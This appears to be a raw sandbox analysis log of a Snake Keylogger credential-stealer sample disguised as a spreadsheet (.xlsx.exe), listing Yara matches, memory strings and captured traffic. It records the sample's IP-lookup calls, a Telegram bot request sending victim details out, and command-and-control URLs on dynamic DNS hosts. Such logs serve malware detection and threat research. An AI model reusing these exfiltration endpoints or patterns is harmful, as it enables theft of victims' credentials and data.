Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:562258%0D%0ADate%20and%20Time:%2017/07/2024%20/%2019:03:11%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20562258%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: ECO-ATMAN-PLECO-ATMAN-PL ECO-ATMAN-PLECO-ATMAN-PL

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: unknown

FTP traffic detected: 213.189.52.181:21 -> 192.168.2.4:49756 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 150 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 150 allowed.220-Local time is now 14:17. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 150 allowed.220-Local time is now 14:17. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 150 allowed.220-Local time is now 14:17. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 15 minutes of inactivity.

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:562258%0D%0ADate%20and%20Time:%2017/07/2024%20/%2019:03:11%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20562258%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: s4.serv00.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 17 Jul 2024 12:17:14 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.0000000002480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.000000000355E000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.00000000036B4000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003702000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003585000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.00000000034EB000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003560000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003518000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.00000000036BC000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.000000000368F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.000000000355E000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.00000000036B4000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003702000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003585000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.00000000034EB000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003560000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003518000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.00000000036BC000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.000000000368F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49752 version: TLS 1.2

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2488, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2992, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 0_2_02B5D3DC	0_2_02B5D3DC
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023BD278	1_2_023BD278
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023B5362	1_2_023B5362
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023BC146	1_2_023BC146
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023BC738	1_2_023BC738
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023BC468	1_2_023BC468
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023BCA08	1_2_023BCA08
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023B69A0	1_2_023B69A0
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023BE988	1_2_023BE988
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023B3E09	1_2_023B3E09
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023BCFAA	1_2_023BCFAA
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023B6FC8	1_2_023B6FC8
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023BCCD8	1_2_023BCCD8
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023B9DE0	1_2_023B9DE0
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023B3AA1	1_2_023B3AA1
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023BE97A	1_2_023BE97A
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023BF961	1_2_023BF961
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023B39EE	1_2_023B39EE
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023B29EC	1_2_023B29EC
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E1E80	1_2_060E1E80
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E0B30	1_2_060E0B30
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E17A0	1_2_060E17A0
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E9C18	1_2_060E9C18
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E5028	1_2_060E5028
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EFC68	1_2_060EFC68
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E9548	1_2_060E9548
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E2968	1_2_060E2968
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EDE00	1_2_060EDE00
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EE24A	1_2_060EE24A
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060EE258	1_2_060EE258
